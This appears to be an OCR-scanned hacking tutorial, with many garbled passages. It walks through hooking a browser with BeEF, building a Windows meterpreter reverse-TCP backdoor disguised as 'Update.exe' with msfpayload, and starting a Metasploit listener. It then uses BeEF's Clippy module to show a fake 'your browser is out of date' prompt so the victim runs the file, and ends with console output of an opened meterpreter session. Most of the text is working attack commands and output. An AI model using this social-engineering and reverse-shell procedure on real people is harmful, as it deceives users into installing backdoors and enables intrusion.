BeEF Fake Browser Exploitation
Requirement : - BeEF Browser Exploitation Framework, Windows — 7 For Testing.
1* you need to start BeEF Framework and login to your control panel

Username & Password = beef

:~/Desktop/beef# ./beef
: Bind socket [imapeudoral] listening on [0.0.0.0:2000].
Browser Exploitation Framework (BeEF) 0.4.3.9-alpha
| Twit: @beefproject
| Site: http://beefproject.com
| Blog: http://blog.beefproject.com
| Wiki: https://github.com/beefproject/beef/wiki
Project Creator: (@wWadeAlcorn)
API Fire Error: authentication failed in {:owner=>BeEF::Extension::Metasploit:: ::MetasploitHooks,
.post soft load()
: BeEF is loading. Wait a few seconds...
11 extensions enabled.
137 modules enabled.
2 network interfaces were detected.
running on network interface: 127.0.0.1
| Hook URL: http://127.0.0.1:3000/hook.js
|_ UI URL: http://127.0.0.1:3000/ui/panel
running on network interface: 192.168.0.194
| Hook URL: http://192.168.0.194:3000/hook.js
| UI URL: http://192.168.0.194:3000/ui/panel
RESTful API key: 2a4a607d0476d028c802a94adb7ac815b67928df
HTTP Proxy: http://127.0.0.1:6789
BeEF server started (press control+c to stop)

# BeEF 0.4.39-apha | Submit Bug | Logout
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THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Official websile: http:/ibeefproiect.com/
Getting Started
Welcome to BeEF!

Before being able to fully explore the framework you will have to hook' a browser. To begin with you can
point a browser towards the basic demo page here, or the advanced version here.

After a browser is hooked into the framework they will appear in the Hooked Browsers® panel on the
left. Hooked browsers will appear in efther an onine o offine state, depending on how recently they
have poled the framework

Hooked Browsers

To interact with a hooked browser simply lefi-click t, a new tab will appear. Each hooked browser tab
has a number of sub-tabs, described below:

Now Hook the browser using this link http://Your-1P:3000/demos/basic.html



http://your-ip:3000/demos/basic.html

& BeEF Basic Demo - Windows Internet Explore

9' Sl 5 nitp://192.168.0.194:3000/demos/basic html
|58 Edit Miew Favorites Tools Help

g Favortes | 9= Suggested Sites = @ | Web Slice Gallery -

w BeEF Basic Demo

You should be hooked into BeEF.

Have fun while your browser is working against you.

These links are for demonstrating the "Get Page HREFs" command module
+ The Browser Exploitation Framework Project homepage

s ha ckers.org homepage
e Slashdot

Have a go at the event logger.

Insert vour secret here: |

You can also load up a more advanced demo page here

Now create a backdoor using msfpayload so type.
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.194 LPORT=4444 X >Update.exe
And Start Multi handler for listener Use exploit/multi/handler set LHOST=YOUR-IP LPORT=4444

Set PAYLOAD windows/meterpreter/reverse_tcp and exploit it

./msfpayload windows/meterpreter/reverse tcp LHOST=192.168.0.194 LPORT=4444 X >Update.exe
by msfpayload (ht www .metasploit.com).
tep

.168.0.194", "LPORT"
1s

Gemfile i msfeli msfelfscan msfmachscan msfrop msfupdate Rakefile
ntation Gemfile.lock msfconsole msfencode msfpayload msfrpc ms om README.md te Update. exel

HACKING m:ﬂnn-scan msfd msfgui msfpescan msfrped plug scripts THIRD-PARTY.md




msf > use exploit/multi/handler

msf exploit( ) > set LHOST 192.168.0.194

LHOST => 192.168.0.194

set msf exploit( ) > set LPORT 4444

LPORT => 4444

msf exploit( ) > set PAYLOAD windows/meterpreter/reverse tcp

PAYLOAD => windows/meterpreter/reverse tcp
msf exploit( ) > exploit

*] Started reverse handler on 192.168.0.194:4444

[
[*] Starting the payload handler...

Now move that Update.exe into your Apache server.
Now Go to your Beef Control Pane

And choose clippy module and

% BeEF Control Panel b 4 Index of jupdateyourbrowser o=
< B =@ 1921680194 v @l [sgy
R BackTrack Linux gBackTrack Linux [fjOffensive Security [EMExploit-DB Wy Aircrack-ng [ SomaFM

% BeEF 0.4.39-apha | St
Hooked Browsers

Geting Logs Current Browser
4 =5 Online Browsers
405192.168.0.194 Detals || Lops || Commands | Rider || XssRays || Ipec
&85 1921680191 Module Tree Module Results History Clippy
] Offine Browsers

] Browser (29) id date labsl Description:  Brings up a clippy image and asks the user to do stuff
] Chrome Extensions (7)
1 Debug (4) ! ! Cippy image: | httpuiclippy.ajbnet.com/1.0.0/

Exploits (40
(] Exploits (40} Customtext: | your browser appears to be out of date. Would you like to upgrade it?
1 Host (14)
1 IPEC (6) Executable: http:/ithe earth lii~sgtatham/putty/latestxa6/putty exe
(] Metasploit (0) Time until 5000
CIMisc (7) Cippy shows
) Network (8) his face again
(] Persistence (4) Thankyou e Thanks for upgrading your browser! Look forward to a safer, faster web!

Phonegap (10) message after
(] Phanegap ( downloading

4 =3 Social Engineering (8)
Ciickjacking
Ciippy

Fake Flash Update
Google Phishing
Simple: Hijacker
TabMabbing
@ Leamtuf Download
@ Pretty Theft

Now choose your setting or use default setting and change path on the executable

Use http://192.168.0.194/updatebrowser/Update.exe and fire the tool.

On windows 7 side you will get one notification about update your browser. When you click OK you
will receive our malicious file and obviously he is going to install because he is interested in latest and
greatest stuff.


http://192.168.0.194/updatebrowser/Update.exe
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You should be hooked into BeEF.

Have fun while your browser is working against you

These links are for demonstrating the "Get Page HREFs" command module
» The Browser Exploitation Framework Project homepa

» ha ckers org homepage
+ Slashdot

Have a go at the event logger.
Insert your secret here:

You can also load up a more advanced demo page here

When he runs that exe on Metasploit framework you will get the shell.

msf > use exploit/multi/handler

msf exploit( ) > set LHOST 192.168.0.194

LHOST => 192.168.0.194

set msf exploit( ) > set LPORT 4444

LPORT => 4444

msf exploit( ) = set PAYLOAD windows/meterpreter/reverse tcp
PAYLOAD => windows/meterpreter/reverse tcp

msf exploit( ) > exploit

[*] Started reverse handler on 192.168.0.194:4444

[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.6.191
[*] Meterpreter session 2 opened (192.168.0.194:4444 -> 192.168.0.191:49424) at 2012-12-21 14:53:52 +0530

meterpreter >

There is no patch for human stupidity ©

Your browser appears
to be out of date
Would you like to
upgrade i?
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